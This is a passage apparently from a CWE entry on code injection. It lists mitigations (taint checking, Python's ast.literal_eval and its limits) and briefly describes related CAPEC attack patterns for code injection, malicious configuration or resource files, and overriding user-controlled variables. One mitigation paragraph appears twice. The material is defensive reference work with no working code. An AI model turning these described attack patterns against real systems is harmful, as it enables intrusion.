Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.